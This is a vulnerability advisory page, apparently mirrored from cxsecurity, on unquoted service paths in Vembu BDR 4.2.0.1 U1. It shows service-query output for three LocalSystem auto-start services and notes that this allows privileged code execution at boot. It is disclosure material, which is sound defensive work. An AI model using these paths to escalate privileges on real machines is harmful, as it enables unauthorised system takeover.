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Vembu BDR 4.2.0.1 U1 Unquoted Service Path

CVE Category Price Severity
N/A CWE-180 N/A High
Author Risk Exploitation Type Date
Unknown High Local 2021-03-13
CPE
cpe:cpe:2.3:a:vembu:bdr:4.2.0.1:*:*:*:*:*:*:*
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021030067

Below is a copy:

Vembu BDR 4.2.0.1 U1 Unquoted Service Path
# Exploit Title: Vembu BDR 4.2.0.1 U1 - Multiple Unquoted Service Paths
# Date: 2020-11-6
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://www.vembu.com/
# Software Link: https://sg-build-release.s3.amazonaws.com/BDRSuite/V420/4202020051312/Vembu_BDR_Backup_Server_Setup_4_2_0_1_U1_GA.exe
# Version: Version 4.2.0.1 U1
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc "hsflowd"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: hsflowd
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Vembu\VembuBDR\..\VembuBDR360Agent\bin\hsflowd.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Host_sFlow_Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>sc qc "VembuBDR360Agent"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VembuBDR360Agent
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Vembu\VembuBDR\..\VembuBDR360Agent\bin\VembuBDR360Agent.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VembuBDR360Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>sc qc "VembuOffice365Agent"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VembuOffice365Agent
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Vembu\VembuBDR\..\VembuOffice365Agent\bin\VembuOffice365Agent.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VembuOffice365Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>


# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.

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